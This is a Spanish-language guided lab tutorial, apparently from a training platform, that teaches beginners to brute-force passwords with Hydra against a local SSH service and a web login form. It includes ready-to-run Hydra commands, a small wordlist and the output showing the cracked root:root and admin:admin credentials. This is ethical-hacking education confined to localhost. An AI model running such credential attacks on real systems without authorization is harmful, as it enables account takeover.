Ataques de Contraseñas en Kali con Hydra

Kali LinuxBeginner
Practicar Ahora

Introducción

En esta práctica de laboratorio, aprenderás los conceptos básicos del hacking ético utilizando Kali Linux para explorar técnicas de ataque de contraseñas con Hydra, una potente herramienta para ataques de fuerza bruta. El objetivo principal es comprender cómo funcionan estos ataques y por qué son esenciales las contraseñas robustas y las configuraciones de sistema seguras. Simularás ataques contra credenciales SSH e inicios de sesión web dentro de un entorno controlado en una VM de LabEx, garantizando un espacio seguro y legal para la práctica. A través de una guía paso a paso, crearás diccionarios de palabras (wordlists), ejecutarás ataques de fuerza bruta y registrarás los resultados para su posterior análisis. Todas las tareas se realizan en un contenedor de Kali Linux que se configura automáticamente, lo que hace que este laboratorio sea accesible incluso para principiantes absolutos.

Este es un Laboratorio Guiado, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y ganar experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 100%. Ha recibido una tasa de valoraciones positivas del 100% por parte de los alumnos.

Configuración del Entorno e Instalación de Hydra

En este primer paso, prepararás tu entorno de trabajo dentro de un contenedor de Kali Linux e instalarás Hydra, la herramienta que utilizaremos para nuestros ataques de contraseñas. Al abrir la terminal, entrarás automáticamente en la shell del contenedor de Kali Linux, por lo que no es necesaria ninguna configuración manual.

Primero, confirma que te encuentras en el entorno de Kali Linux verificando los detalles del sistema operativo.

cat /etc/os-release

Deberías ver una salida que confirme que estás ejecutando Kali Linux.

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

A continuación, actualiza la lista de paquetes para asegurarte de que puedes obtener las versiones más recientes del software.

apt update

Ahora, instala Hydra. Hydra es una herramienta de ataque de fuerza bruta muy versátil que admite numerosos protocolos. El parámetro -y confirma automáticamente la instalación.

apt install -y hydra

Una vez finalizada la instalación, verifica que Hydra esté listo mostrando su menú de ayuda.

hydra -h

La salida mostrará la versión de Hydra y la sintaxis de uso, confirmando que se ha instalado correctamente.

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

Finalmente, inicia el servicio SSH que fue preconfigurado durante la preparación del entorno. Esto nos proporcionará un objetivo para nuestra simulación de ataque de fuerza bruta.

service ssh start

Puedes verificar que el servicio SSH se está ejecutando comprobando su estado.

service ssh status

Deberías ver una salida indicando que el servicio SSH está activo y funcionando.

sshd is running.

Has configurado con éxito tu entorno, instalado Hydra e iniciado el servicio SSH para nuestra simulación de ataque.

Creación de un Diccionario para Ataques de Fuerza Bruta

Un diccionario (wordlist) es un archivo de texto plano que contiene posibles contraseñas que una herramienta como Hydra utilizará para intentar obtener acceso a un objetivo. En este paso, crearás un pequeño diccionario personalizado para nuestros ataques simulados.

Utilizarás el editor de texto nano para crear un archivo llamado passwords.txt.

Primero, instala el editor de texto nano.

apt install -y nano

Ahora, crea el archivo del diccionario.

nano passwords.txt

Este comando abre un nuevo archivo en el editor nano. Escribe las siguientes contraseñas comunes en el editor, colocando cada contraseña en una línea nueva.

admin
password
123456
test
root

Para guardar el archivo, presiona Ctrl+O, luego presiona Enter para confirmar el nombre del archivo. Para salir de nano, presiona Ctrl+X.

Ahora, verifica que el archivo se ha creado listando el contenido del directorio actual.

ls

Deberías ver passwords.txt en la salida, confirmando que tu diccionario está listo para ser usado en los siguientes pasos.

passwords.txt

Ejecución de un Ataque de Fuerza Bruta Exitoso en SSH

Ahora utilizarás Hydra y tu diccionario para realizar un ataque de fuerza bruta contra el servicio SSH (Secure Shell) que se ejecuta en tu sistema local. SSH es un protocolo común para la administración remota segura. Durante la configuración del entorno, configuramos un servidor SSH con una contraseña débil que existe en nuestro diccionario, lo que convierte esto en una demostración realista de cómo funcionan estos ataques.

Ejecuta el siguiente comando para iniciar el ataque de fuerza bruta.

hydra -l root -P passwords.txt ssh://127.0.0.1

Desglosemos este comando:

  • -l root: Este parámetro especifica un único nombre de usuario para probar, que es root.
  • -P passwords.txt: Este parámetro le indica a Hydra que use el archivo passwords.txt como fuente de contraseñas.
  • ssh://127.0.0.1: Especifica el servicio objetivo (SSH) y el host de destino (127.0.0.1).

Dado que hemos configurado el servidor SSH con la contraseña root para el usuario root (la cual existe en nuestro diccionario), Hydra encontrará las credenciales con éxito.

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

¡Felicidades! El ataque fue exitoso. Hydra descubrió que el nombre de usuario root con la contraseña root proporciona acceso válido al servicio SSH. Esto demuestra cómo las contraseñas débiles pueden ser descubiertas fácilmente mediante herramientas de fuerza bruta.

Ejecución de un Ataque de Fuerza Bruta Exitoso en un Formulario de Inicio de Sesión Web

A continuación, realizarás un ataque a un formulario de inicio de sesión web. Este es otro objetivo común para los ataques de fuerza bruta. Durante la configuración del entorno, configuramos un servidor web Apache sencillo con una página de inicio de sesión vulnerable que acepta las credenciales admin:admin.

Primero, asegurémonos de que el servidor web esté funcionando iniciándolo:

service apache2 start

Ahora ejecuta el siguiente comando para realizar el ataque al inicio de sesión web.

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

Examinemos los componentes de este comando:

  • -l admin: Especifica el nombre de usuario admin.
  • -P passwords.txt: Utiliza tu diccionario de contraseñas.
  • http-post-form://127.0.0.1/login.php: Especifica el protocolo objetivo y la página de inicio de sesión real que creamos.
  • 'user=^USER^&pass=^PASS^:F=Incorrect': Este es el núcleo del módulo de ataque web.
    • user=^USER^&pass=^PASS^: Define los campos del formulario. Hydra reemplaza ^USER^ y ^PASS^ con las credenciales que está probando.
    • :F=Incorrect: Le indica a Hydra que un intento de inicio de sesión ha fallado si se encuentra la palabra "Incorrect" en la respuesta del servidor.

Como nuestra aplicación web está configurada para aceptar admin:admin (que existe en nuestro diccionario), Hydra encontrará las credenciales con éxito.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

¡Excelente! El ataque web también fue exitoso. Esto demuestra cómo Hydra puede adaptarse para atacar diferentes servicios, incluyendo aplicaciones web con formularios de inicio de sesión vulnerables.

Registro de Resultados de Ataques de Fuerza Bruta Exitosos

En este paso final, aprenderás a registrar la salida de un ataque exitoso de Hydra. El registro (logging) es una práctica crucial para documentar los hallazgos durante una prueba de penetración o una auditoría de seguridad.

Volverás a ejecutar el ataque SSH del Paso 3, pero esta vez guardarás los resultados en un archivo.

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

La parte nueva de este comando es:

  • -o attack_log.txt: Este parámetro indica a Hydra que guarde su salida en el archivo especificado, attack_log.txt.

El comando se ejecutará y mostrará los resultados del ataque exitoso en la pantalla, y también creará un archivo de registro detallado.

Para ver el contenido del archivo de registro, utiliza el comando cat.

cat attack_log.txt

El archivo de registro contendrá un resumen de la ejecución del ataque exitoso, incluyendo las credenciales descubiertas.

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

¡Excelente! El archivo de registro muestra claramente que Hydra descubrió con éxito las credenciales root:root para el servicio SSH. Este tipo de registro detallado es esencial para:

  1. Documentación: Mantener registros de pruebas de penetración exitosas.
  2. Informes: Proporcionar evidencia a clientes o a la dirección.
  3. Análisis: Revisar patrones de ataque y tasas de éxito.
  4. Cumplimiento: Cumplir con los requisitos de auditoría de seguridad.

Ahora has aprendido cómo guardar los resultados de un ataque de Hydra, demostrando tanto el descubrimiento exitoso de credenciales como las prácticas adecuadas de documentación en el hacking ético.

Resumen

En esta práctica de laboratorio, has aprendido con éxito los fundamentos del hacking ético realizando ataques de contraseñas reales con Hydra en un contenedor de Kali Linux. Comenzaste instalando Hydra y configurando servicios vulnerables (servidores SSH y web), para luego crear un diccionario personalizado con contraseñas débiles. A través de la experiencia práctica, ejecutaste con éxito ataques de fuerza bruta contra credenciales SSH y formularios de inicio de sesión web, comprobando lo rápido que pueden verse comprometidas las contraseñas débiles. Finalmente, aprendiste a registrar los resultados de los ataques para una documentación y análisis adecuados.

Puntos clave de este laboratorio:

  1. Las contraseñas débiles se comprometen fácilmente: Tanto root:root como admin:admin fueron descubiertas rápidamente.
  2. Existen múltiples vectores de ataque: Los servicios SSH y las aplicaciones web son objetivos comunes.
  3. La documentación adecuada es crucial: Registrar los resultados es esencial para las pruebas de penetración.
  4. Conciencia defensiva: Comprender los ataques ayuda a implementar mejores medidas de seguridad.

Estas habilidades prácticas proporcionan una base sólida para entender la mecánica real de los ataques de fuerza bruta y demuestran la importancia crítica de utilizar contraseñas robustas, políticas de bloqueo de cuentas y configuraciones de sistema seguras para defenderse contra tales ataques.